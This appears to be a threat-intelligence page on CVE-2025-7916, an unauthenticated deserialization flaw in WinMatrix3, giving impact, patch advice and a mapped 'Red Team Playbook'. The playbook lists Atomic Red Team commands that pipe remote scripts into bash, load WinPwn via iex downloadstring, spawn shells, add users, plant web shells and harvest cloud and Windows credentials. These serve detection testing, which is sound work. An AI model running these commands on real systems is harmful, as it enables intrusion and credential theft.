CVE-2025-7916
Overview
The vulnerability in Simopro Technology WinMatrix3 is an insecure deserialization flaw rooted in improper handling of serialized data inputs. The application fails to validate or sanitize serialized objects received from remote sources, allowing maliciously crafted serialized content to be processed. This flaw affects the deserialization component responsible for processing serialized payloads within the WinMatrix3 server environment.
Vulnerability Description
WinMatrix3 developed by Simopro Technology has an Insecure Deserialization vulnerability, allowing unauthenticated remote attackers to execute arbitrary code on the server by sending maliciously crafted serialized contents.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on the WinMatrix3 server, potentially gaining full control over the affected system. No user interaction or prior authentication is required (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward from an external network. Successful exploitation can result in unauthorized system compromise, data breach, and disruption of services hosted by the vulnerable application.
Solution
Simopro Technology has released patches addressing this insecure deserialization vulnerability; users should apply the updates as detailed in the TW-CERT advisories (https://www.twcert.org.tw/en/cp-139-10257-e88f3-2.html). The advisories provide specific version updates and remediation steps for WinMatrix3. Administrators are advised to upgrade to the fixed versions immediately and follow vendor instructions to ensure the deserialization component properly validates serialized inputs.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in WinMatrix3, developed by Simopro Technology, is characterized by insecure deserialization, a critical flaw that allows attackers to manipulate serialized data structures. Insecure deserialization occurs when an application accepts serialized data from an untrusted source without proper validation or sanitization. This can lead to the execution of arbitrary code on the server, as attackers can craft malicious payloads that exploit the deserialization process. The underlying issue lies in the application’s failure to implement strict type checks or validation mechanisms, allowing attackers to inject harmful objects or code into the application’s memory space.
Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making it particularly dangerous. An unauthenticated attacker can send specially crafted serialized data to the server, which the application then deserializes without appropriate checks. This could be achieved through various methods, such as manipulating API requests or exploiting web forms that handle serialized data. Once the malicious payload is deserialized, it can lead to the execution of arbitrary commands, data manipulation, or even the installation of backdoors, thereby compromising the integrity and confidentiality of the server and its data.
The real-world impact of this vulnerability is significant, especially for organizations relying on WinMatrix3 for critical operations. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. Successful exploitation could result in unauthorized access to sensitive data, disruption of services, and potential financial losses due to downtime or data breaches. Furthermore, the reputational damage to organizations affected by such breaches can be long-lasting, eroding customer trust and leading to regulatory scrutiny. In an environment where data protection and compliance are paramount, the implications of this vulnerability extend beyond immediate technical concerns to broader business risks.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First, implementing robust input validation and sanitization processes is essential to ensure that only trusted and expected data is deserialized. This can involve whitelisting acceptable data types and structures, thereby preventing the injection of malicious payloads. Additionally, employing security tools that can analyze application behavior and detect anomalies during the deserialization process can provide an additional layer of defense. Regular security assessments, including penetration testing and code reviews, should be conducted to identify and remediate potential vulnerabilities before they can be exploited.
In conclusion, the insecure deserialization vulnerability in WinMatrix3 represents a severe threat to organizations leveraging this software. The potential for remote code execution poses significant risks, necessitating immediate attention from cybersecurity teams. By implementing stringent validation measures, enhancing detection capabilities, and fostering a culture of security awareness, organizations can mitigate the risks associated with this vulnerability and safeguard their systems against potential exploitation. The proactive management of such vulnerabilities is crucial in maintaining the integrity and security of organizational assets in an increasingly complex threat landscape.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7916, reflecting a nearly 50% rise in the likelihood of exploitation. Although no new exploit techniques or active campaigns have been detected by our sensors, this upward trend in EPSS suggests growing interest or preparatory activity within attacker communities. The vulnerability’s critical severity combined with this heightened predictive score elevates the urgency for defenders to reassess their exposure and monitoring strategies. While the immediate threat landscape remains stable without confirmed exploitation events, the increased EPSS score signals a higher probability that attackers may soon develop or deploy effective exploits, thereby raising the overall risk posture for organizations using Simopro Technology’s WinMatrix3.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7916 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-10256-14d55-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-10257-e88f3-2.html |